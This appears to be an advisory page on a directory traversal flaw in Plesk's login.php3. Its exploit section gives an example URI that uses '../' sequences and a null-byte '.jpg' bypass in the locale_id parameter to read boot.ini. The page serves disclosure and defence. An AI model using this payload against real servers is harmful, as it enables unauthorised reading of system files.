• info
• discussion
• exploit
• solution
• references

Plesk Login.PHP3 Directory Traversal Vulnerability

Attackers may use a browser to exploit this issue.

An example URI has been provided:

https://www.example.com/login.php3?login_name=x&passwd=x&locale_id=../../../../../../../../boot.ini%00.jpg